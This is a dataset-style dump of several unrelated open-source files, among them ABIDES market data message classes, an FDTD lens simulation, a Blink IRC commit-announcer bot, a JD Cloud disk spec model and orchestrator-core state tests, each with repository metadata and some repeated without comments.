foreign(ApplicationReasonXref.application_reason_code)==remote(ApplicationReasonCode.application_reason_code))', secondaryjoin= 'foreign(ApplicationReasonXref.application_reason_code)==remote(ApplicationReasonCode.application_reason_code)', viewonly=True) contacts = db.relationship( 'NOWPartyAppointment', lazy='selectin', primaryjoin= 'and_(foreign(NOWPartyAppointment.now_application_id) == ApplicationsView.now_application_id, NOWPartyAppointment.deleted_ind==False)', secondary= 'join(NOWPartyAppointment, Party, foreign(NOWPartyAppointment.party_guid)==remote(Party.party_guid))', secondaryjoin='foreign(NOWPartyAppointment.party_guid)==remote(Party.party_guid)', ) def __repr__(self): return '<ApplicationsView %r>' % self.now_application_guid @hybrid_property def permittee(self): if self.application_type_code == 'NOW': return None permittees = [ contact.party for contact in self.contacts if contact.mine_party_appt_type_code == 'PMT' ] return permittees[0] if permittees else None @hybrid_property def permit_amendment(self): return self.permit_amendments[0] if self.permit_amendments else None @hybrid_property def application_documents(self): now_application = NOWApplication.find_by_application_guid(self.now_application_guid) filtered_submissions_documents = NOWApplication.get_filtered_submissions_documents( now_application) application_documents = [ doc for doc in filtered_submissions_documents if doc['filename'] == 'ApplicationForm.pdf' ] return application_documents
true
true
f73d623114bd8fb8c924e4b4775a4ae8e3a399a9
10,549
py
Python
abides-markets/abides_markets/messages/marketdata.py
jpmorganchase/ABIDES-jpmc-gym
198736a1b1316190072356c980412569579f15a6
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2021-09-23T13:17:26.000Z
2021-09-23T13:17:26.000Z
abides-markets/abides_markets/messages/marketdata.py
jpmorganchase/ABIDES-gym
198736a1b1316190072356c980412569579f15a6
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
abides-markets/abides_markets/messages/marketdata.py
jpmorganchase/ABIDES-gym
198736a1b1316190072356c980412569579f15a6
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
import sys from abc import ABC from dataclasses import dataclass, field from enum import Enum from typing import List, Tuple from abides_core import Message, NanosecondTime from ..orders import Side @dataclass class MarketDataSubReqMsg(Message, ABC): """ Base class for creating or cancelling market data subscriptions with an ``ExchangeAgent``. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. """ symbol: str cancel: bool = False @dataclass class MarketDataFreqBasedSubReqMsg(MarketDataSubReqMsg, ABC): """ Base class for creating or cancelling market data subscriptions with an ``ExchangeAgent``. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. freq: The frequency in nanoseconds^-1 at which to receive market updates. """ # Inherited Fields: # symbol: str # cancel: bool = False freq: int = 1 @dataclass class MarketDataEventBasedSubReqMsg(MarketDataSubReqMsg, ABC): """ Base class for creating or cancelling market data subscriptions with an ``ExchangeAgent``. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. """ # Inherited Fields: # symbol: str # cancel: bool = False @dataclass class L1SubReqMsg(MarketDataFreqBasedSubReqMsg): """ This message requests the creation or cancellation of a subscription to L1 order book data from an ``ExchangeAgent``. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. freq: The frequency in nanoseconds^-1 at which to receive market updates. """ # Inherited Fields: # symbol: str # cancel: bool = False # freq: int = 1 pass @dataclass class L2SubReqMsg(MarketDataFreqBasedSubReqMsg): """ This message requests the creation or cancellation of a subscription to L2 order book data from an ``ExchangeAgent``. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. freq: The frequency in nanoseconds^-1 at which to receive market updates. depth: The maximum number of price levels on both sides of the order book to return data for. Defaults to the entire book. """ # Inherited Fields: # symbol: str # cancel: bool = False # freq: int = 1 depth: int = sys.maxsize @dataclass class L3SubReqMsg(MarketDataFreqBasedSubReqMsg): """ This message requests the creation or cancellation of a subscription to L3 order book data from an ``ExchangeAgent``. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. freq: The frequency in nanoseconds^-1 at which to receive market updates. depth: The maximum number of price levels on both sides of the order book to return data for. Defaults to the entire book. """ # Inherited Fields: # symbol: str # cancel: bool = False # freq: int = 1 depth: int = sys.maxsize @dataclass class TransactedVolSubReqMsg(MarketDataFreqBasedSubReqMsg): """ This message requests the creation or cancellation of a subscription to transacted volume order book data from an ``ExchangeAgent``. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. freq: The frequency in nanoseconds^-1 at which to receive market updates. lookback: The period in time backwards from the present to sum the transacted volume for. """ # Inherited Fields: # symbol: str # cancel: bool = False # freq: int = 1 lookback: str = "1min" @dataclass class BookImbalanceSubReqMsg(MarketDataEventBasedSubReqMsg): """ This message requests the creation or cancellation of a subscription to book imbalance events. Attributes: symbol: The symbol of the security to request a data subscription for. cancel: If True attempts to create a new subscription, if False attempts to cancel an existing subscription. min_imbalance: The minimum book imbalance needed to trigger this subscription. 0.0 is no imbalance. 1.0 is full imbalance (ie. liquidity drop). """ # Inherited Fields: # symbol: str # cancel: bool = False min_imbalance: float = 1.0 @dataclass class MarketDataMsg(Message, ABC): """ Base class for returning market data subscription results from an ``ExchangeAgent``. The ``last_transaction`` and ``exchange_ts`` fields are not directly related to the subscription data but are included for bookkeeping purposes. Attributes: symbol: The symbol of the security this data is for. last_transaction: The time of the last transaction that happened on the exchange. exchange_ts: The time that the message was sent from the exchange. """ symbol: str last_transaction: int exchange_ts: NanosecondTime @dataclass class MarketDataEventMsg(MarketDataMsg, ABC): """ Base class for returning market data subscription results from an ``ExchangeAgent``. The ``last_transaction`` and ``exchange_ts`` fields are not directly related to the subscription data but are included for bookkeeping purposes. Attributes: symbol: The symbol of the security this data is for. last_transaction: The time of the last transaction that happened on the exchange. exchange_ts: The time that the message was sent from the exchange. stage: The stage of this event (start or finish). """ class Stage(Enum): START = "START" FINISH = "FINISH" stage: Stage @dataclass class L1DataMsg(MarketDataMsg): """ This message returns L1 order book data as part of an L1 data subscription. Attributes: symbol: The symbol of the security this data is for. last_transaction: The time of the last transaction that happened on the exchange. exchange_ts: The time that the message was sent from the exchange. bid: The best bid price and the available volume at that price. ask: The best ask price and the available volume at that price. """ # Inherited Fields: # symbol: str # last_transaction: int # exchange_ts: NanosecondTime bid: Tuple[int, int] ask: Tuple[int, int] @dataclass class L2DataMsg(MarketDataMsg): """ This message returns L2 order book data as part of an L2 data subscription. Attributes: symbol: The symbol of the security this data is for. last_transaction: The time of the last transaction that happened on the exchange. exchange_ts: The time that the message was sent from the exchange. bids: A list of tuples containing the price and available volume at each bid price level. asks: A list of tuples containing the price and available volume at each ask price level. """ # Inherited Fields: # symbol: str # last_transaction: int # exchange_ts: NanosecondTime bids: List[Tuple[int, int]] asks: List[Tuple[int, int]] # TODO: include requested depth @dataclass class L3DataMsg(MarketDataMsg): """ This message returns L3 order book data as part of an L3 data subscription. Attributes: symbol: The symbol of the security this data is for. last_transaction: The time of the last transaction that happened on the exchange. exchange_ts: The time that the message was sent from the exchange. bids: A list of tuples containing the price and a list of order sizes at each bid price level. asks: A list of tuples containing the price and a list of order sizes at each ask price level. """ # Inherited Fields: # symbol: str # last_transaction: int # exchange_ts: NanosecondTime bids: List[Tuple[int, List[int]]] asks: List[Tuple[int, List[int]]] # TODO: include requested depth @dataclass class TransactedVolDataMsg(MarketDataMsg): """ This message returns order book transacted volume data as part of an transacted volume data subscription. Attributes: symbol: The symbol of the security this data is for. last_transaction: The time of the last transaction that happened on the exchange. exchange_ts: The time that the message was sent from the exchange. bid_volume: The total transacted volume of bid orders for the given lookback period. ask_volume: The total transacted volume of ask orders for the given lookback period. """ # Inherited Fields: # symbol: str # last_transaction: int # exchange_ts: NanosecondTime bid_volume: int ask_volume: int # TODO: include lookback period @dataclass class BookImbalanceDataMsg(MarketDataEventMsg): """ Sent when the book imbalance reaches a certain threshold dictated in the subscription request message. Attributes: symbol: The symbol of the security this data is for. last_transaction: The time of the last transaction that happened on the exchange. exchange_ts: The time that the message was sent from the exchange. stage: The stage of this event (start or finish). imbalance: Proportional size of the imbalance. side: Side of the book that the imbalance is towards. """ # Inherited Fields: # symbol: str # last_transaction: int # exchange_ts: pd.Timestamp # stage: MarketDataEventMsg.Stage imbalance: float side: Side
31.966667
92
0.689828
import sys from abc import ABC from dataclasses import dataclass, field from enum import Enum from typing import List, Tuple from abides_core import Message, NanosecondTime from ..orders import Side @dataclass class MarketDataSubReqMsg(Message, ABC): symbol: str cancel: bool = False @dataclass class MarketDataFreqBasedSubReqMsg(MarketDataSubReqMsg, ABC): freq: int = 1 @dataclass class MarketDataEventBasedSubReqMsg(MarketDataSubReqMsg, ABC): @dataclass class L1SubReqMsg(MarketDataFreqBasedSubReqMsg): pass @dataclass class L2SubReqMsg(MarketDataFreqBasedSubReqMsg): depth: int = sys.maxsize @dataclass class L3SubReqMsg(MarketDataFreqBasedSubReqMsg): depth: int = sys.maxsize @dataclass class TransactedVolSubReqMsg(MarketDataFreqBasedSubReqMsg): lookback: str = "1min" @dataclass class BookImbalanceSubReqMsg(MarketDataEventBasedSubReqMsg): min_imbalance: float = 1.0 @dataclass class MarketDataMsg(Message, ABC): symbol: str last_transaction: int exchange_ts: NanosecondTime @dataclass class MarketDataEventMsg(MarketDataMsg, ABC): class Stage(Enum): START = "START" FINISH = "FINISH" stage: Stage @dataclass class L1DataMsg(MarketDataMsg): bid: Tuple[int, int] ask: Tuple[int, int] @dataclass class L2DataMsg(MarketDataMsg): bids: List[Tuple[int, int]] asks: List[Tuple[int, int]] @dataclass class L3DataMsg(MarketDataMsg): bids: List[Tuple[int, List[int]]] asks: List[Tuple[int, List[int]]] @dataclass class TransactedVolDataMsg(MarketDataMsg): bid_volume: int ask_volume: int @dataclass class BookImbalanceDataMsg(MarketDataEventMsg): imbalance: float side: Side
true
true
f73d62800d11a4acb609ffe80b0f649701af57e9
1,438
py
Python
quartz_sphere.py
Substancia/FDTD-Huygens-metasurface
dfb46f43c0653b394b63e7af92a331ae4824d9be
[ "MIT" ]
null
null
null
quartz_sphere.py
Substancia/FDTD-Huygens-metasurface
dfb46f43c0653b394b63e7af92a331ae4824d9be
[ "MIT" ]
null
null
null
quartz_sphere.py
Substancia/FDTD-Huygens-metasurface
dfb46f43c0653b394b63e7af92a331ae4824d9be
[ "MIT" ]
1
2021-07-20T09:30:56.000Z
2021-07-20T09:30:56.000Z
from fdtd_venv import fdtd_mod as fdtd from numpy import arange, flip, meshgrid, array from matplotlib.pyplot import plot, show def main(): grid = fdtd.Grid(shape=(200, 200, 1), grid_spacing=155e-9) lens_width = 10 lens_order = 3 lens_radius = 25 x, y = arange(-90, 90, 1), arange(lens_radius-lens_order*lens_width/2, lens_radius, 1) X, Y = meshgrid(x, y) lens_mask = X**2 + Y**2 <= lens_radius**2 for j, col in enumerate(lens_mask.T): for i, val in enumerate(flip(col)): if val: grid[50+i%(lens_width//2):50+lens_width-i%(lens_width//2), j+10:j+11, 0] = fdtd.Object(permittivity=1.5**2, name=str(i)+","+str(j)) break grid[25, 80:120, 0] = fdtd.LineSource(period=1550e-9/3e8, name="source") grid[30:130, 100, 0] = fdtd.LineDetector(name="LineDetector") grid[30:130, 75:125, 0] = fdtd.BlockDetector(name="BlockDetector") grid[0:10, :, :] = fdtd.PML(name="pml_xlow") grid[-10:, :, :] = fdtd.PML(name="pml_xhigh") grid[:, 0:10, :] = fdtd.PML(name="pml_ylow") grid[:, -10:, :] = fdtd.PML(name="pml_yhigh") grid.run(total_time=300) grid.visualize(z=0, show=True) #E_val = array(grid.detector.detector_values()['E']) #arr = [] #for i in range(100): #temp = E_val[:, i, 2] #arr.append(max(temp) - min(temp)) #print("Max index:", 30+arr.index(max(arr))) #plot(arange(30, 130, 1), arr) #show() fdtd.dB_map_2D(array(grid.detectors[1].detector_values()['E'][200:])) if __name__ == "__main__": main()
32.681818
135
0.656467
from fdtd_venv import fdtd_mod as fdtd from numpy import arange, flip, meshgrid, array from matplotlib.pyplot import plot, show def main(): grid = fdtd.Grid(shape=(200, 200, 1), grid_spacing=155e-9) lens_width = 10 lens_order = 3 lens_radius = 25 x, y = arange(-90, 90, 1), arange(lens_radius-lens_order*lens_width/2, lens_radius, 1) X, Y = meshgrid(x, y) lens_mask = X**2 + Y**2 <= lens_radius**2 for j, col in enumerate(lens_mask.T): for i, val in enumerate(flip(col)): if val: grid[50+i%(lens_width//2):50+lens_width-i%(lens_width//2), j+10:j+11, 0] = fdtd.Object(permittivity=1.5**2, name=str(i)+","+str(j)) break grid[25, 80:120, 0] = fdtd.LineSource(period=1550e-9/3e8, name="source") grid[30:130, 100, 0] = fdtd.LineDetector(name="LineDetector") grid[30:130, 75:125, 0] = fdtd.BlockDetector(name="BlockDetector") grid[0:10, :, :] = fdtd.PML(name="pml_xlow") grid[-10:, :, :] = fdtd.PML(name="pml_xhigh") grid[:, 0:10, :] = fdtd.PML(name="pml_ylow") grid[:, -10:, :] = fdtd.PML(name="pml_yhigh") grid.run(total_time=300) grid.visualize(z=0, show=True) fdtd.dB_map_2D(array(grid.detectors[1].detector_values()['E'][200:])) if __name__ == "__main__": main()
true
true
f73d641635c089dc97b3234aaffe673a93c3d770
8,067
py
Python
third_party/WebKit/Tools/Scripts/webkitpy/tool/bot/commit_announcer.py
xzhan96/chromium.src
1bd0cf3997f947746c0fc5406a2466e7b5f6159e
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2021-01-07T18:51:03.000Z
2021-01-07T18:51:03.000Z
third_party/WebKit/Tools/Scripts/webkitpy/tool/bot/commit_announcer.py
emilio/chromium.src
1bd0cf3997f947746c0fc5406a2466e7b5f6159e
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
third_party/WebKit/Tools/Scripts/webkitpy/tool/bot/commit_announcer.py
emilio/chromium.src
1bd0cf3997f947746c0fc5406a2466e7b5f6159e
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
# Copyright (C) 2013 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import logging import re import threading import time from webkitpy.common.checkout.scm.git import Git from webkitpy.common.system.executive import ScriptError from webkitpy.thirdparty.irc.ircbot import SingleServerIRCBot _log = logging.getLogger(__name__) SERVER = "irc.freenode.net" PORT = 6667 CHANNEL = "#blink" NICKNAME = "commit-bot" PULL_TIMEOUT_SECONDS = 60 * 5 UPDATE_WAIT_SECONDS = 10 RETRY_ATTEMPTS = 8 class CommitAnnouncer(SingleServerIRCBot): _commit_detail_format = "%H\n%ae\n%s\n%b" # commit-sha1, author email, subject, body def __init__(self, tool, announce_path, irc_password): SingleServerIRCBot.__init__(self, [(SERVER, PORT, irc_password)], NICKNAME, NICKNAME) self.announce_path = announce_path self.git = Git(cwd=tool.scm().checkout_root, filesystem=tool.filesystem, executive=tool.executive) self.commands = { 'help': self.help, 'ping': self.ping, 'quit': self.stop, } self.last_commit = None def start(self): if not self._update(): return self.last_commit = self.git.latest_git_commit() SingleServerIRCBot.start(self) def post_new_commits(self): if not self.connection.is_connected(): return if not self._update(force_clean=True): self.stop("Failed to update repository!") return new_commits = self.git.git_commits_since(self.last_commit) if not new_commits: return self.last_commit = new_commits[-1] for commit in new_commits: if not self._should_announce_commit(commit): continue commit_detail = self._commit_detail(commit) if commit_detail: _log.info('%s Posting commit %s', self._time(), commit) _log.info('%s Posted message: %s', self._time(), repr(commit_detail)) self._post(commit_detail) else: _log.error('Malformed commit log for %s', commit) # Bot commands. def help(self): self._post('Commands available: %s' % ' '.join(self.commands.keys())) def ping(self): self._post('Pong.') def stop(self, message=""): self.connection.execute_delayed(0, lambda: self.die(message)) # IRC event handlers. Methods' arguments are determined by superclass # and some arguments maybe unused - pylint: disable=unused-argument def on_nicknameinuse(self, connection, event): connection.nick('%s_' % connection.get_nickname()) def on_welcome(self, connection, event): connection.join(CHANNEL) def on_pubmsg(self, connection, event): message = event.arguments()[0] command = self._message_command(message) if command: command() def _update(self, force_clean=False): if not self.git.is_cleanly_tracking_remote_master(): if not force_clean: confirm = raw_input('This repository has local changes, continue? (uncommitted changes will be lost) y/n: ') if not confirm.lower() == 'y': return False try: self.git.ensure_cleanly_tracking_remote_master() except ScriptError as e: _log.error('Failed to clean repository: %s', e) return False attempts = 1 while attempts <= RETRY_ATTEMPTS: if attempts > 1: # User may have sent a keyboard interrupt during the wait. if not self.connection.is_connected(): return False wait = int(UPDATE_WAIT_SECONDS) << (attempts - 1) if wait < 120: _log.info('Waiting %s seconds', wait) else: _log.info('Waiting %s minutes', wait / 60) time.sleep(wait) _log.info('Pull attempt %s out of %s', attempts, RETRY_ATTEMPTS) try: self.git.pull(timeout_seconds=PULL_TIMEOUT_SECONDS) return True except ScriptError as e: _log.error('Error pulling from server: %s', e) _log.error('Output: %s', e.output) attempts += 1 _log.error('Exceeded pull attempts') _log.error('Aborting at time: %s', self._time()) return False def _time(self): return time.strftime('[%x %X %Z]', time.localtime()) def _message_command(self, message): prefix = '%s:' % self.connection.get_nickname() if message.startswith(prefix): command_name = message[len(prefix):].strip() if command_name in self.commands: return self.commands[command_name] return None def _should_announce_commit(self, commit): return any(path.startswith(self.announce_path) for path in self.git.affected_files(commit)) def _commit_detail(self, commit): return self._format_commit_detail(self.git.git_commit_detail(commit, self._commit_detail_format)) def _format_commit_detail(self, commit_detail): if commit_detail.count('\n') < self._commit_detail_format.count('\n'): return '' commit, email, subject, body = commit_detail.split('\n', 3) commit_position_re = r'^Cr-Commit-Position: refs/heads/master@\{#(?P<commit_position>\d+)\}' commit_position = None red_flag_strings = ['NOTRY=true', 'TBR='] red_flags = [] for line in body.split('\n'): match = re.search(commit_position_re, line) if match: commit_position = match.group('commit_position') for red_flag_string in red_flag_strings: if line.lower().startswith(red_flag_string.lower()): red_flags.append(line.strip()) url = 'https://crrev.com/%s' % (commit_position if commit_position else commit[:8]) red_flag_message = '\x037%s\x03' % (' '.join(red_flags)) if red_flags else '' return ('%s %s committed "%s" %s' % (url, email, subject, red_flag_message)).strip() def _post(self, message): self.connection.execute_delayed(0, lambda: self.connection.privmsg(CHANNEL, self._sanitize_string(message))) def _sanitize_string(self, message): return message.encode('ascii', 'backslashreplace') class CommitAnnouncerThread(threading.Thread): def __init__(self, tool, announce_path, irc_password): threading.Thread.__init__(self) self.bot = CommitAnnouncer(tool, announce_path, irc_password) def run(self): self.bot.start() def stop(self): self.bot.stop() self.join()
38.414286
124
0.643858
import logging import re import threading import time from webkitpy.common.checkout.scm.git import Git from webkitpy.common.system.executive import ScriptError from webkitpy.thirdparty.irc.ircbot import SingleServerIRCBot _log = logging.getLogger(__name__) SERVER = "irc.freenode.net" PORT = 6667 CHANNEL = "#blink" NICKNAME = "commit-bot" PULL_TIMEOUT_SECONDS = 60 * 5 UPDATE_WAIT_SECONDS = 10 RETRY_ATTEMPTS = 8 class CommitAnnouncer(SingleServerIRCBot): _commit_detail_format = "%H\n%ae\n%s\n%b" def __init__(self, tool, announce_path, irc_password): SingleServerIRCBot.__init__(self, [(SERVER, PORT, irc_password)], NICKNAME, NICKNAME) self.announce_path = announce_path self.git = Git(cwd=tool.scm().checkout_root, filesystem=tool.filesystem, executive=tool.executive) self.commands = { 'help': self.help, 'ping': self.ping, 'quit': self.stop, } self.last_commit = None def start(self): if not self._update(): return self.last_commit = self.git.latest_git_commit() SingleServerIRCBot.start(self) def post_new_commits(self): if not self.connection.is_connected(): return if not self._update(force_clean=True): self.stop("Failed to update repository!") return new_commits = self.git.git_commits_since(self.last_commit) if not new_commits: return self.last_commit = new_commits[-1] for commit in new_commits: if not self._should_announce_commit(commit): continue commit_detail = self._commit_detail(commit) if commit_detail: _log.info('%s Posting commit %s', self._time(), commit) _log.info('%s Posted message: %s', self._time(), repr(commit_detail)) self._post(commit_detail) else: _log.error('Malformed commit log for %s', commit) def help(self): self._post('Commands available: %s' % ' '.join(self.commands.keys())) def ping(self): self._post('Pong.') def stop(self, message=""): self.connection.execute_delayed(0, lambda: self.die(message)) # and some arguments maybe unused - pylint: disable=unused-argument def on_nicknameinuse(self, connection, event): connection.nick('%s_' % connection.get_nickname()) def on_welcome(self, connection, event): connection.join(CHANNEL) def on_pubmsg(self, connection, event): message = event.arguments()[0] command = self._message_command(message) if command: command() def _update(self, force_clean=False): if not self.git.is_cleanly_tracking_remote_master(): if not force_clean: confirm = raw_input('This repository has local changes, continue? (uncommitted changes will be lost) y/n: ') if not confirm.lower() == 'y': return False try: self.git.ensure_cleanly_tracking_remote_master() except ScriptError as e: _log.error('Failed to clean repository: %s', e) return False attempts = 1 while attempts <= RETRY_ATTEMPTS: if attempts > 1: # User may have sent a keyboard interrupt during the wait. if not self.connection.is_connected(): return False wait = int(UPDATE_WAIT_SECONDS) << (attempts - 1) if wait < 120: _log.info('Waiting %s seconds', wait) else: _log.info('Waiting %s minutes', wait / 60) time.sleep(wait) _log.info('Pull attempt %s out of %s', attempts, RETRY_ATTEMPTS) try: self.git.pull(timeout_seconds=PULL_TIMEOUT_SECONDS) return True except ScriptError as e: _log.error('Error pulling from server: %s', e) _log.error('Output: %s', e.output) attempts += 1 _log.error('Exceeded pull attempts') _log.error('Aborting at time: %s', self._time()) return False def _time(self): return time.strftime('[%x %X %Z]', time.localtime()) def _message_command(self, message): prefix = '%s:' % self.connection.get_nickname() if message.startswith(prefix): command_name = message[len(prefix):].strip() if command_name in self.commands: return self.commands[command_name] return None def _should_announce_commit(self, commit): return any(path.startswith(self.announce_path) for path in self.git.affected_files(commit)) def _commit_detail(self, commit): return self._format_commit_detail(self.git.git_commit_detail(commit, self._commit_detail_format)) def _format_commit_detail(self, commit_detail): if commit_detail.count('\n') < self._commit_detail_format.count('\n'): return '' commit, email, subject, body = commit_detail.split('\n', 3) commit_position_re = r'^Cr-Commit-Position: refs/heads/master@\{ commit_position = None red_flag_strings = ['NOTRY=true', 'TBR='] red_flags = [] for line in body.split('\n'): match = re.search(commit_position_re, line) if match: commit_position = match.group('commit_position') for red_flag_string in red_flag_strings: if line.lower().startswith(red_flag_string.lower()): red_flags.append(line.strip()) url = 'https://crrev.com/%s' % (commit_position if commit_position else commit[:8]) red_flag_message = '\x037%s\x03' % (' '.join(red_flags)) if red_flags else '' return ('%s %s committed "%s" %s' % (url, email, subject, red_flag_message)).strip() def _post(self, message): self.connection.execute_delayed(0, lambda: self.connection.privmsg(CHANNEL, self._sanitize_string(message))) def _sanitize_string(self, message): return message.encode('ascii', 'backslashreplace') class CommitAnnouncerThread(threading.Thread): def __init__(self, tool, announce_path, irc_password): threading.Thread.__init__(self) self.bot = CommitAnnouncer(tool, announce_path, irc_password) def run(self): self.bot.start() def stop(self): self.bot.stop() self.join()
true
true
f73d647852dd4b911adb574519444ff36409ee5a
2,013
py
Python
jdcloud_sdk/services/disk/models/DiskSpec.py
jdcloud-apigateway/jdcloud-sdk-python
0886769bcf1fb92128a065ff0f4695be099571cc
[ "Apache-2.0" ]
14
2018-04-19T09:53:56.000Z
2022-01-27T06:05:48.000Z
jdcloud_sdk/services/disk/models/DiskSpec.py
jdcloud-apigateway/jdcloud-sdk-python
0886769bcf1fb92128a065ff0f4695be099571cc
[ "Apache-2.0" ]
15
2018-09-11T05:39:54.000Z
2021-07-02T12:38:02.000Z
jdcloud_sdk/services/disk/models/DiskSpec.py
jdcloud-apigateway/jdcloud-sdk-python
0886769bcf1fb92128a065ff0f4695be099571cc
[ "Apache-2.0" ]
33
2018-04-20T05:29:16.000Z
2022-02-17T09:10:05.000Z
# coding=utf8 # Copyright 2018 JDCLOUD.COM # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # NOTE: This class is auto generated by the jdcloud code generator program. class DiskSpec(object): def __init__(self, az, name, diskType, diskSizeGB, description=None, iops=None, snapshotId=None, policyId=None, charge=None, multiAttachable=None, encrypt=None): """ :param az: 云硬盘所属的可用区 :param name: 云硬盘名称 :param description: (Optional) 云硬盘描述,默认为空 :param diskType: 云硬盘类型,取值为ssd、premium-hdd、ssd.gp1、ssd.io1、hdd.std1之一 :param diskSizeGB: 云硬盘大小,单位为 GiB,ssd 类型取值范围[20,1000]GB,步长为10G,premium-hdd 类型取值范围[20,3000]GB,步长为10G, ssd.gp1, ssd.io1, hdd.std1 类型取值均是范围[20,16000]GB,步长为10G :param iops: (Optional) 云硬盘IOPS的大小,当且仅当云盘类型是ssd.io1型的云盘有效,步长是10.默认值为容量30,最大值为容量50 :param snapshotId: (Optional) 用于创建云硬盘的快照ID,默认为空 :param policyId: (Optional) 策略ID,默认为空;当策略Id为空时,reps结果返回中policyRelations为空 :param charge: (Optional) 计费配置;如不指定,默认计费类型是后付费-按使用时常付费 :param multiAttachable: (Optional) 云硬盘是否支持一盘多主机挂载,默认为false(不支持) :param encrypt: (Optional) 云硬盘是否加密,默认为false(不加密) """ self.az = az self.name = name self.description = description self.diskType = diskType self.diskSizeGB = diskSizeGB self.iops = iops self.snapshotId = snapshotId self.policyId = policyId self.charge = charge self.multiAttachable = multiAttachable self.encrypt = encrypt
41.9375
165
0.702931
class DiskSpec(object): def __init__(self, az, name, diskType, diskSizeGB, description=None, iops=None, snapshotId=None, policyId=None, charge=None, multiAttachable=None, encrypt=None): self.az = az self.name = name self.description = description self.diskType = diskType self.diskSizeGB = diskSizeGB self.iops = iops self.snapshotId = snapshotId self.policyId = policyId self.charge = charge self.multiAttachable = multiAttachable self.encrypt = encrypt
true
true
f73d652ad0c3d27bb81bd48b3d14ae8911feb47a
11,395
py
Python
test/unit_tests/utils/test_state.py
Georgi2704/orchestrator-core
bf072caf6b83ac8401426879df41e967f33f9f85
[ "Apache-2.0" ]
1
2021-04-10T19:24:39.000Z
2021-04-10T19:24:39.000Z
test/unit_tests/utils/test_state.py
Georgi2704/orchestrator-core
bf072caf6b83ac8401426879df41e967f33f9f85
[ "Apache-2.0" ]
null
null
null
test/unit_tests/utils/test_state.py
Georgi2704/orchestrator-core
bf072caf6b83ac8401426879df41e967f33f9f85
[ "Apache-2.0" ]
null
null
null
# type: ignore from typing import List, Optional from uuid import uuid4 import pytest from nwastdlib import const from orchestrator.domain.lifecycle import change_lifecycle from orchestrator.forms import FormPage, post_process from orchestrator.types import State, SubscriptionLifecycle from orchestrator.utils.state import extract, form_inject_args, inject_args STATE = {"one": 1, "two": 2, "three": 3, "four": 4} def test_extract(): one, two, three, four = extract(("one", "two", "three", "four"), STATE) assert one == 1 assert two == 2 assert three == 3 assert four == 4 four, three, two, one = extract(("four", "three", "two", "one"), STATE) assert one == 1 assert two == 2 assert three == 3 assert four == 4 nothing = extract((), STATE) assert len(nothing) == 0 def test_extract_key_error(): key = "I don't exist" with pytest.raises(KeyError) as excinfo: extract((key,), STATE) assert key in excinfo.value.args def test_state() -> None: @inject_args def step_func_ok(one): assert one == STATE["one"] return {"prefix_id": 42} new_state = step_func_ok(STATE) assert "prefix_id" in new_state assert new_state["prefix_id"] == 42 @inject_args def step_func_fail(i_am_not_in_the_state): return {} with pytest.raises(KeyError): step_func_fail(STATE) @inject_args def step_func_opt_arg(opt: Optional[str] = None) -> None: assert opt is None step_func_opt_arg(STATE) @inject_args def step_func_default(default="bla"): assert default == "bla" step_func_default(STATE) step_func_const = inject_args(const({})) step_func_const(STATE) @inject_args def step_func_state(state, one): assert state == STATE assert one == STATE["one"] step_func_state(STATE) @inject_args def step_func_empty(): pass step_func_state(STATE) def test_inject_args(generic_product_1, generic_product_type_1) -> None: GenericProductOneInactive, GenericProduct = generic_product_type_1 product_id = generic_product_1.product_id state = {"product": product_id, "organisation": uuid4()} generic_sub = GenericProductOneInactive.from_product_id( product_id=state["product"], customer_id=state["organisation"], status=SubscriptionLifecycle.INITIAL ) generic_sub.pb_1.rt_1 = "test" generic_sub.pb_2.rt_2 = 42 generic_sub.pb_2.rt_3 = "test2" generic_sub = change_lifecycle(generic_sub, SubscriptionLifecycle.ACTIVE) generic_sub.save() @inject_args def 